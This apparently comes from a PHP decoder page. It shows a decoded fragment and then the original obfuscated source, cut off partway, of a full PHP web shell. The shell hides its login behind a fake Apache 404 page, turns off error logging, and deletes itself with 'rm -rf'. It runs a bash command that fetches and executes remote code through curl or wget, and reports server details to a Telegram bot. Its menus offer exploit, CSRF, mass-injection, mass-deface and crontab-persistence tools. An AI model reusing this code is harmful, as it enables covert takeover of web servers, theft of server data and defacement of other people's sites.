wb('Ij4gPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48YSBocmVmPSI/IiBjbGFzcz0iYWp4Ij4=') . X . wb('PC9hPjxzdXA+') . MURTAD . wb('PC9zdXA+PGJyPjxzdXA+') . $GNJ[20](wb('RCBZLW0tZCBIOmk=')) . wb('PC9zdXA+PC9kaXY+'); if (isset($_POST[wb('ZWRpdGZpbGU=')])) { if (!$GNJ[26]($nemefele)) { $nemefele = $_POST[wb('bmVtZWZlbGU=')]; $path_parts = pathinfo($nemefele); $fffff = $path_parts[wb('ZGlybmFtZQ==')]; $ggggg = $path_parts[wb('YmFzZW5hbWU=')]; echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($fffff) . wb('JmU9') . hex($ggggg) . wb('Ij4='); die; } else { $nemefele = $_POST[wb('bmVtZWZlbGU=')]; $path_parts = pathinfo($nemefele); $fffff = $path_parts[wb('ZGlybmFtZQ==')]; $ggggg = $path_parts[wb('YmFzZW5hbWU=')]; echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($fffff) . wb('JnM9') . hex($ggggg) . wb('Ij4='); die; } } echo wb('PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0iMiI+'); echo wb('PGZvb3Rlcj4='); $end = microtime(true); $timeend = number_format($end - $start, 2); echo wb('PGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiPkNvcHlsZWZ0IDIwMjAt') . $GNJ[20](wb('WQ==')) . wb('IDFzdDxzcGFuIHN0eWxlPSJjb2xvcjogI2UyNTU1NTsiPiZoZWFydHM7PC9zcGFuPgoJCQkJCTxhIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdCeWUgIScpOyIgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('a2lsbHNlbGY=')) . wb('Ij5LaWxsIFlvdXJzZWxmIHdpdGggS2luZG5lc3M8L2E+IC0gVGhpcyBwYWdlIGxvYWRlZCBpbiA=') . $timeend . wb('IHNlY29uZHMgPC9kaXY+CgkJCQk8L2Zvb3Rlcj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4='); if (isset($_GET[wb('MQ==')])) { echo $f; } elseif (isset($_GET[wb('MA==')])) { echo $g; } else { NULL; } echo wb('PHNjcmlwdD4kKCIuYWp4IikuY2xpY2soKGZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQoKTt2YXIgdD0kKHRoaXMpLmF0dHIoImhyZWYiKTtoaXN0b3J5LnB1c2hTdGF0ZSgiIiwiIix0KSwkLmdldCh0LChmdW5jdGlvbihlKXskKCJib2R5IikuaHRtbChlKX0pKX0pKSxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29weS10ZXh0Iikub25jbGljaz1mdW5jdGlvbigpe3RoaXMuc2VsZWN0KCksZG9jdW1lbnQuZXhlY0NvbW1hbmQoImNvcHkiKX07dmFyIHRleHRXcmFwcGVyPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5tbDIiKTt0ZXh0V3JhcHBlci5pbm5lckhUTUw9dGV4dFdyYXBwZXIudGV4dENvbnRlbnQucmVwbGFjZSgvXFMvZywiPHNwYW4gY2xhc3M9bGV0dGVyPiQmPC9zcGFuPiIpLGFuaW1lLnRpbWVsaW5lKHtsb29wOiEwfSkuYWRkKHt0YXJnZXRzOiIubWwyIC5sZXR0ZXIiLHNjYWxlOls0LDFdLG9wYWNpdHk6WzAsMV0sdHJhbnNsYXRlWjowLGVhc2luZzoiZWFzZU91dEV4cG8iLGR1cmF0aW9uOjk1MCxkZWxheTooZSx0KT0+NzAqdH0pLmFkZCh7dGFyZ2V0czoiLm1sMiIsb3BhY2l0eTowLGR1cmF0aW9uOjFlMyxlYXNpbmc6ImVhc2VPdXRFeHBvIixkZWxheToxZTN9KSwkKCIjc2VsZWN0X2FsbCIpLm9uKCJjbGljayIsKGZ1bmN0aW9uKCl7dGhpcy5jaGVja2VkPyQoIi5jaGVja2JveCIpLmVhY2goKGZ1bmN0aW9uKCl7dGhpcy5jaGVja2VkPSEwfSkpOiQoIi5jaGVja2JveCIpLmVhY2goKGZ1bmN0aW9uKCl7dGhpcy5jaGVja2VkPSExfSkpfSkpLCQoIi5jaGVja2JveCIpLm9uKCJjbGljayIsKGZ1bmN0aW9uKCl7JCgiLmNoZWNrYm94OmNoZWNrZWQiKS5sZW5ndGg9PSQoIi5jaGVja2JveCIpLmxlbmd0aD8kKCIjc2VsZWN0X2FsbCIpLnByb3AoImNoZWNrZWQiLCEwKTokKCIjc2VsZWN0X2FsbCIpLnByb3AoImNoZWNrZWQiLCExKX0pKTtmdW5jdGlvbiBidG9hTVJYKCkgeyB2YXIgaW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wdXRUZXh0WSIpLnZhbHVlOyB2YXIgZW5jb2RlZCA9IGJ0b2EoaW5wdXQpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRZIikudmFsdWUgPSBlbmNvZGVkOyB9IDwvc2NyaXB0PjwvZGl2PjwvYm9keT48L2h0bWw+'); clearstatcache(); ob_end_flush(); } else { $this_file = basename($_SERVER[wb('U0NSSVBUX05BTUU=')]); if (!unlink($this_file)) { system(wb('cm0gLXJmIA==') . $this_file); die; } } } else { $this_file = basename($_SERVER[wb('U0NSSVBUX05BTUU=')]); if (!unlink($this_file)) { system(wb('cm0gLXJmIA==') . $this_file); } die; } function wb($xf) { $_a = "b"; $_b = "a"; $_c = "s"; $_d = "e"; $_e = "6"; $_f = "4"; $_g = "_"; $_h = "d"; $_i = "e"; $_j = "c"; $_k = "o"; $_l = "d"; $_m = "e"; $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } ?>

Did this file decode correctly?

Original Code

<?php goto MnR7p; VQKtn: define(wb('WA=='), wb('TGVtYXRhbmc=')); goto Dt0fl; MnR7p: define(wb('TVVSVEFE'), wb('WDEuMFg=')); goto VQKtn; Dt0fl: goto dXzo6; dXzo6: if (!is_writable(session_save_path())) { @mkdir(wb('LnNlc3Npb24='), 511); putenv(wb('VE1QRElSPQ==') . dirname(__FILE__) . wb('Ly5zZXNzaW9uLw==')); ini_set(wb('c2Vzc2lvbi5zYXZlX3BhdGg='), dirname(__FILE__) . wb('Ly5zZXNzaW9uLw==')); ini_set(wb('c2Vzc2lvbi5nY19wcm9iYWJpbGl0eQ=='), 1); } goto B_1Pe; NXNtQ: function xmv0($hsw2 = 10) { $xpt3 = wb('MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo='); $srh4 = 62; $kic5 = ''; for ($lga6 = 0; $lga6 < $hsw2; $lga6++) { $kic5 .= $xpt3[rand(0, $srh4 - 1)]; } return $kic5; } goto K1ZeG; tlod_: $qmi7 = wb('MWIxY2VjYWViZDgyNWRkZTc2MTAzZWE3NzIyYzMwYWUzZmZmYjIwNg=='); goto l2MGD; K1ZeG: function pzb1() { echo wb('PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50J25vaW5kZXgsIG5vZm9sbG93Jz48dGl0bGU+PC90aXRsZT48L2hlYWQ+PGJvZHk+PGgxPk5vdCBGb3VuZDwvaDE+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+aW5wdXRbdHlwZT1wYXNzd29yZF0geyB3aWR0aDogMjUwcHg7IGhlaWdodDogMjVweDsgY29sb3I6IHdoaXRlOyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm9yZGVyOiAxcHggc29saWQgd2hpdGU7IG1hcmdpbi1sZWZ0OiAyMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH08L3N0eWxlPjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPjxwPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHRoZSByZXF1ZXN0LjwvcD48aHI+PGFkZHJlc3M+QXBhY2hlIFNlcnZlciBhdCA=') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('IFBvcnQg') . $_SERVER[wb('U0VSVkVSX1BPUlQ=')] . wb('PC9hZGRyZXNzPjxjZW50ZXI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9Jw==') . $_SESSION[wb('a2V5eHg=')] . wb('JyBhdXRvY29tcGxldGU9J29mZic+PGJyPjwvZm9ybT48L2NlbnRlcj48L2JvZHk+PC9odG1sPg=='); die; } goto tlod_; pP1u9: if (empty($_SESSION[sha1(md5($_SERVER[wb('SFRUUF9IT1NU')])) . $zwp8])) { if (isset($_POST[$zwp8]) and sha1(md5($_POST[$zwp8])) == $qmi7) { $_SESSION[sha1(md5($_SERVER[wb('SFRUUF9IT1NU')])) . $zwp8] = true; } else { pzb1(); die; } } goto sBJll; l2MGD: if (empty($_SESSION[wb('a2V5eHg=')])) { $dyy9 = xmv0(); $_SESSION[wb('a2V5eHg=')] = $dyy9; } goto GwLhv; B_1Pe: session_start(); goto NXNtQ; GwLhv: $zwp8 = $_SESSION[wb('a2V5eHg=')]; goto pP1u9; sBJll: if (version_compare(PHP_VERSION, wb('NS4zLjA=')) >= 0) { ob_start(); ob_implicit_flush(); $start = microtime(true); error_reporting(0); ini_set(wb('ZXJyb3JfbG9n'), null); ini_set(wb('aHRtbF9lcnJvcnM='), 0); ini_set(wb('bG9nX2Vycm9ycw=='), 0); ini_set(wb('bG9nX2Vycm9yc19tYXhfbGVu'), 0); ini_set(wb('ZGlzcGxheV9lcnJvcnM='), 0); ini_set(wb('ZGlzcGxheV9zdGFydHVwX2Vycm9ycw=='), 0); ini_set(wb('bWF4X2V4ZWN1dGlvbl90aW1l'), 90); function rehex($y) { $n = ''; for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n; } $murray = array(wb('NzA2ODcwNWY3NTZlNjE2ZDY1'), wb('NzA2ODcwNzY2NTcyNzM2OTZmNmU='), wb('NjM2ODY0Njk3Mg=='), wb('Njc2NTc0NjM3NzY0'), wb('NzA3MjY1Njc1ZjczNzA2YzY5NzQ='), wb('NjM2ZjcwNzk='), wb('NjY2OTZjNjU1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3Mw=='), wb('NjI2MTczNjUzNjM0NWY2NDY1NjM2ZjY0NjU='), wb('Njk3MzVmNjQ2OTcy'), wb('NmY2MjVmNjU2ZTY0NWY2MzZjNjU2MTZlMjgyOTNi'), wb('NzU2ZTZjNjk2ZTZi'), wb('NmQ2YjY0Njk3Mg=='), wb('NjM2ODZkNmY2NA=='), wb('NzM2MzYxNmU2NDY5NzI='), wb('NzM3NDcyNWY3MjY1NzA2YzYxNjM2NQ=='), wb('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM='), wb('NzY2MTcyNWY2NDc1NmQ3MA=='), wb('NjY2ZjcwNjU2ZQ=='), wb('NjY3NzcyNjk3NDY1'), wb('NjY2MzZjNmY3MzY1'), wb('NjQ2MTc0NjU='), wb('NjY2OTZjNjU2ZDc0Njk2ZDY1'), wb('NzM3NTYyNzM3NDcy'), wb('NzM3MDcyNjk2ZTc0NjY='), wb('NjY2OTZjNjU3MDY1NzI2ZDcz'), wb('NzQ2Zjc1NjM2OA=='), wb('NjY2OTZjNjU1ZjY1Nzg2OTczNzQ3Mw=='), wb('NzI2NTZlNjE2ZDY1'), wb('Njk3MzVmNjE3MjcyNjE3OQ=='), wb('Njk3MzVmNmY2MjZhNjU2Mzc0'), wb('NzM3NDcyNzA2Zjcz'), wb('Njk3MzVmNzc3MjY5NzQ2MTYyNmM2NQ=='), wb('Njk3MzVmNzI2NTYxNjQ2MTYyNmM2NQ=='), wb('NzM3NDcyNzQ2Zjc0Njk2ZDY1'), wb('NjY2OTZjNjU3MzY5N2E2NQ=='), wb('NzI2ZDY0Njk3Mg=='), wb('NmY2MjVmNjc2NTc0NWY2MzZjNjU2MTZl'), wb('NzI2NTYxNjQ2NjY5NmM2NQ=='), wb('NjE3MzczNjU3Mjc0'), wb('Njc3QTY5NkU2NjZDNjE3NDY1')); $___ = count($murray); for ($i = 0; $i < $___; $i++) { $GNJ[] = rehex($murray[$i]); } if (version_compare(PHP_VERSION, wb('Ny40LjA=')) < 0) { function stripslashes_deep($value) { global $GNJ; $value = $GNJ[28]($value) ? array_map(wb('c3RyaXBzbGFzaGVzX2RlZXA='), $value) : stripslashes($value); return $value; } if (function_exists(wb('Z2V0X21hZ2ljX3F1b3Rlc19ncGM=')) && get_magic_quotes_gpc() || ini_get(wb('bWFnaWNfcXVvdGVzX3N5YmFzZQ==')) && strtolower(ini_get(wb('bWFnaWNfcXVvdGVzX3N5YmFzZQ=='))) != wb('b2Zm')) { stripslashes_deep($_GET); stripslashes_deep($_POST); stripslashes_deep($_COOKIE); } } function rmdir_recursive($dir) { global $GNJ; foreach ($GNJ[13]($dir) as $file) { if (wb('Lg==') === $file || wb('Li4=') === $file) { continue; } if ($GNJ[8]("{$dir}\57{$file}")) { @$GNJ[12]("{$dir}\x2f{$file}", 511); rmdir_recursive("{$dir}\57{$file}"); } else { @$GNJ[12]("{$dir}\57{$file}", 511); $GNJ[10]("{$dir}\x2f{$file}"); } } @$GNJ[12]($dir, 511); $GNJ[35]($dir); } function rec($j) { global $GNJ; if (trim(pathinfo($j, PATHINFO_BASENAME), wb('Lg==')) === '') { return; } if ($GNJ[8]($j)) { array_map(wb('cmVj'), glob($j . DIRECTORY_SEPARATOR . wb('eywufSo='), GLOB_BRACE | GLOB_NOSORT)); rmdir_recursive($j); } else { @$GNJ[10]($j); } } function rpl($j, $k) { global $GNJ; $obok = rehex($j); $ebek = rehex($k); if (is_file($ebek) && is_file($obok) && $GNJ[31]($obok)) { @$GNJ[5]($ebek, $obok); echo wb('PGgyIGNsYXNzPSd0ZXh0LWNlbnRlciBtdC0zJz5CRVJIQVNJTCA8YnI+cmVwbGFjZSA=') . $ebek . wb('IDwvYnI+a2U8L2JyPiA=') . $obok . wb('PC9oMj4='); } else { echo wb('PGgyIGNsYXNzPSd0ZXh0LWNlbnRlciBtdC0zJz5HQUdBTCA8YnI+cmVwbGFjZSA8L2JyPiA=') . $obok . wb('PC9oMj4='); } } function dre($y1, $y2) { global $GNJ; ob_start(); $GNJ[16]($y1($y2)); return $GNJ[36](); } function hex($n) { $y = ''; for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y; } function OK() { global $GNJ, $d; @$GNJ[38](wb('JEdOSls5XQ==')); redirectkeDepan(hex($d) . wb('JjE=')); die; } function ER() { global $GNJ, $d; @$GNJ[38](wb('JEdOSls5XQ==')); redirectkeDepan(hex($d) . wb('JjA=')); die; } function x($c) { global $GNJ; $perms = @$GNJ[24]($c); switch ($perms & 61440) { case wb('MHhDMDAw'): $info = wb('cw=='); break; case wb('MHhBMDAw'): $info = wb('bA=='); break; case wb('MHg4MDAw'): $info = wb('cg=='); break; case wb('MHg2MDAw'): $info = wb('Yg=='); break; case wb('MHg0MDAw'): $info = wb('ZA=='); break; case wb('MHgyMDAw'): $info = wb('Yw=='); break; case wb('MHgxMDAw'): $info = wb('cA=='); break; default: $info = wb('dQ=='); } $info .= $perms & 256 ? wb('cg==') : wb('LQ=='); $info .= $perms & 128 ? wb('dw==') : wb('LQ=='); $info .= $perms & 64 ? $perms & 2048 ? wb('cw==') : wb('eA==') : ($perms & 2048 ? wb('Uw==') : wb('LQ==')); $info .= $perms & 32 ? wb('cg==') : wb('LQ=='); $info .= $perms & 16 ? wb('dw==') : wb('LQ=='); $info .= $perms & 8 ? $perms & 1024 ? wb('cw==') : wb('eA==') : ($perms & 1024 ? wb('Uw==') : wb('LQ==')); $info .= $perms & 4 ? wb('cg==') : wb('LQ=='); $info .= $perms & 2 ? wb('dw==') : wb('LQ=='); $info .= $perms & 1 ? $perms & 512 ? wb('dA==') : wb('eA==') : ($perms & 512 ? wb('VA==') : wb('LQ==')); return $GNJ[23](wb('PCEtLSAlcyAtLT4gWyVzXQ=='), $info, $GNJ[22](decoct($perms), 2)); } function GrabMe($x, $y) { global $GNJ; $actual_link = (isset($_SERVER[wb('SFRUUFM=')]) && $_SERVER[wb('SFRUUFM=')] === wb('b24=') ? wb('aHR0cHM=') : wb('aHR0cA==')) . "\72\57\57{$_SERVER[wb('SFRUUF9IT1NU')]}{$_SERVER[wb('U0NSSVBUX05BTUU=')]}"; $ohmy = decno(wb('eHNDbnNLeTl2WHZJdkdmRg==')); $ukauka = decno(wb('anNDZHU2V2xyc0RTcnAreWdMdXhydE9zb2JGKw==')); $tapi = decno(wb('d2J5c2duZVFnSVNTZlc2RmVaS0tqcWVRbkpKdXBLS2RqSkNoeGFyTnJyWEtob0s2ZU1lZ3M4V1RjTFNhelk2RG9BPT0=')); $tid = decno(wb('akg1b2ZYS09nWCtSZm02RmRJMD0=')); $gime = decno(wb('eDhHc3ZiU1NlSHpBdmFGN3RiMjFzc2EvbWJwdng3dTBqZz09')); if ($GNJ[26](wb('L3Vzci9sb2NhbC9jcGFuZWwvdmVyc2lvbg=='))) { $cpanel = wb('Y1BhbmVsOiBPTg=='); } else { $cpanel = wb('Y1BhbmVsOiBPRkY='); } if (function_exists(wb('c3lzdGVt')) || function_exists(wb('ZXhlYw==')) || function_exists(wb('c2hlbGxfZXhlYw==')) || function_exists(wb('cGNudGxfZXhlYw==')) || function_exists(wb('cGFzc3RocnU=')) || function_exists(wb('cHJvY19vcGVu')) || function_exists(wb('cG9wZW4='))) { if ($GNJ[26](wb('X3g='))) { $url = $gime . $tapi . $ukauka . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PWBgYCByMDB0Kw==') . OS() . wb('K0VYRUMlM0ErRU5BQkxFRCt8Kw==') . urlencode($cpanel) . wb('JTBB') . urlencode(b64dd($y)) . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); } else { $url = $gime . $tapi . $ukauka . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PWBgYCBOb25Sb290Kw==') . OS() . wb('K0VYRUMlM0ErRU5BQkxFRCt8Kw==') . urlencode($cpanel) . wb('JTBB') . urlencode(b64dd($y)) . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); } $tResult = fgt($url); } else { $url = $gime . $tapi . $ukauka . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PWBgYCs=') . OS() . wb('K0VYRUMlM0ErRElTQUJMRUQrfCs=') . urlencode($cpanel) . wb('JTBB') . urlencode(b64dd($y)) . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); $tResult = fgt($url); } } function GetMe($x, $y) { $actual_link = (isset($_SERVER[wb('SFRUUFM=')]) && $_SERVER[wb('SFRUUFM=')] === wb('b24=') ? wb('aHR0cHM=') : wb('aHR0cA==')) . "\x3a\x2f\x2f{$_SERVER[wb('SFRUUF9IT1NU')]}{$_SERVER[wb('U0NSSVBUX05BTUU=')]}"; $MeOff = generateRandomString(22); $ohmy = decno(wb('eHNDbnNLeTl2WHZJdkdmRg==')); $tapi = decno(wb('d2J5c2duZUpnb09TZm15Q2VaS0tqcVRFcmNTSjByakJrN2V4b0llc3RzZlZ3WXFTaFlxWGVzTjZpNXV2dXJiQmp3PT0=')); $tid = decno(wb('aklSeGdYbUxmWUdXZlE9PQ==')); $gime = decno(wb('eDhHc3ZiU1NlSHpBdmFGN3RiMjFzc2EvbWJwdng3dTBqZz09')); switch ($y) { case wb('cjAwdA=='): exe(wb('Li9feCAgWD0=') . $MeOff . wb('ICYmIChjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAmJiBYPSRYIGV4ZWMgYmFzaCAtYyAiJChjdXJsIC1mc1NMayA=') . $ohmy . wb('KSIgfHwgWD0kWCBleGVjIGJhc2ggLWMgIiQod2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tbm8tdmVyYm9zZSAtTy0g') . $ohmy . wb('KSIpID4gL2Rldi9udWxsIDI+JjE=')); break; default: exe(wb('WD0=') . $MeOff . wb('ICYmIChjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAmJiBYPSRYIGV4ZWMgYmFzaCAtYyAiJChjdXJsIC1mc1NMayA=') . $ohmy . wb('KSIgfHwgWD0kWCBleGVjIGJhc2ggLWMgIiQod2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tbm8tdmVyYm9zZSAtTy0g') . $ohmy . wb('KSIpID4gL2Rldi9udWxsIDI+JjE=')); } $url = $gime . $tapi . wb('L3NlbmRNZXNzYWdlP2NoYXRfaWQ9') . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PQ==') . $y . wb('YGBgIEdTOiA=') . $MeOff . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); $tResult = fgt($url); } function GetFileTime($x, $y) { global $GNJ; switch ($y) { case wb('Y3JlYXRl'): return $GNJ[20](wb('WS1tLWQgSDppOnM='), @filectime($x)); break; case wb('bW9kaWZ5'): return $GNJ[20](wb('WS1tLWQgSDppOnM='), @$GNJ[21]($x)); break; case wb('YWNjZXNz'): return $GNJ[20](wb('WS1tLWQgSDppOnM='), @fileatime($x)); break; } } function GetFileSize($x) { global $GNJ; $x = abs($x); $size = array(wb('Qg=='), wb('S0I='), wb('TUI='), wb('R0I='), wb('VEI='), wb('UEI='), wb('RUI='), wb('WkI='), wb('WUI=')); $exp = $x ? floor(log($x) / log(1024)) : 0; return $GNJ[23](wb('JS4yZiA=') . $size[$exp], $x / pow(1024, floor($exp))); } function GetOwnerGroup($x) { global $GNJ; if (Unix()) { if (function_exists(wb('cG9zaXhfZ2V0cHd1aWQ=')) && function_exists(wb('cG9zaXhfZ2V0Z3JnaWQ='))) { $user = posix_getpwuid(@fileowner($x)); $group = posix_getgrgid(@filegroup($x)); return $GNJ[23](wb('JXM6JXM='), $user[wb('bmFtZQ==')], $group[wb('bmFtZQ==')]); } } return wb('Pzo/'); clearstatcache(); } function GetFileOwnerGroup($x) { global $GNJ; if (Unix()) { if (function_exists(wb('cG9zaXhfZ2V0cHd1aWQ=')) && function_exists(wb('cG9zaXhfZ2V0Z3JnaWQ='))) { $user = posix_getpwuid(@fileowner($x)); $group = posix_getgrgid(@filegroup($x)); return $GNJ[23](wb('JXM6JXM='), $user[wb('bmFtZQ==')], $group[wb('bmFtZQ==')]); } } return wb('Pzo/'); clearstatcache(); } function relaxation() { flush(); ob_flush(); sleep(1); } function generateRandomString($length = 10) { $characters = wb('MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo='); $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function is_32bit() { return PHP_INT_SIZE === 4; } function Unix() { global $GNJ; return strtolower($GNJ[22](PHP_OS, 0, 3)) != wb('d2lu'); } function ExploitermenU($d) { echo wb('PGhyPjxicj4='); echo wb('PGgyIGNsYXNzPSd0ZXh0LWNlbnRlcic+RXhwbG9pdGVyIFk8L2gyPjxicj4='); echo wb('PGZvcm0gbWV0aG9kPSdQT1NUJz4gPGRpdiBjbGFzcz0ncm93IGNsZWFyZml4Jz4gPGRpdiBjbGFzcz0nY29sLW1kLTInPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2lnbmF0dXJl')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPlNpZ25hdHVyZSBFeHBsb2l0PC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtMic+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y3NyZg==')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkNTUkYgRXhwbG9pdGVyPC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtMic+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('NDAzNGV4ZQ==')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkNWRSA0MDM0IEVYRTwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTInPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('YXV0b2V4cGxv')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkF1dG8gRXhwbG88L2NlbnRlcj48L2E+IDwvZGl2PjxkaXYgY2xhc3M9J2NvbC1tZC0yJz4gPGEgY2xhc3M9J2Zvcm0tY29udHJvbCBhangnIGhyZWY9JyMnIGhlaWdodD0nMTAnPjxjZW50ZXI+IyMjIyMjPC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtMic+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPScjJyBoZWlnaHQ9JzEwJz48Y2VudGVyPiMjIyMjIzwvY2VudGVyPjwvYT4gPC9kaXY+PC9kaXY+PC9mb3JtPg=='); echo wb('PGJyPg=='); } function MassmenU($d) { echo wb('PGhyPiA8aDI+PGNlbnRlcj5NYXNzWCBUb29sczwvY2VudGVyPjwvaDI+IDxicj48Y2VudGVyPiA8Zm9ybSBtZXRob2Q9J1BPU1QnPiA8ZGl2IGNsYXNzPSdyb3cgY2xlYXJmaXgnPiA8ZGl2IGNsYXNzPSdjb2wtbWQtNCc+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bWFzc190b29s')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPk1hc3MgRGVsZXRlPC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('aW5qZWN0LWNvZGU=')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPk1hc3MgSW5qZWN0b3I8L2NlbnRlcj48L2E+IDwvZGl2PjxkaXYgY2xhc3M9J2NvbC1tZC00Jz4gPGEgY2xhc3M9J2Zvcm0tY29udHJvbCBhangnIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jg==') . hex(wb('c2lnbmF0dXJl')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPk1hc3MgVGViYXI8L2NlbnRlcj48L2E+IDwvZGl2PjwvZGl2PjwvZm9ybT48L2NlbnRlcj48aHI+PGJyPg=='); } function AutomenU($d) { echo wb('PGhyPjxjZW50ZXI+PGgyPkhlbHAgVG9vbHM8L2gyPjxicj48dGFibGUgc3R5bGU9IndpZHRoOjkwJSI+IDx0cj4gPHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('TG9ja2Rvd24=')) . wb('PjxjZW50ZXI+TG9ja2Rvd248L2NlbnRlcj48L2E+PC90ZD48dGQ+PGEgY2xhc3M9ImZvcm0tY29udHJvbCBhangiIGhyZWY9P2Q9') . hex($d) . wb('Jg==') . hex(wb('Y3JvbnRhYg==')) . wb('PjxjZW50ZXI+Q3JvbnRhYjwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('anVtcGluZw==')) . wb('PjxjZW50ZXI+SnVtcGluZzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('RU5D')) . 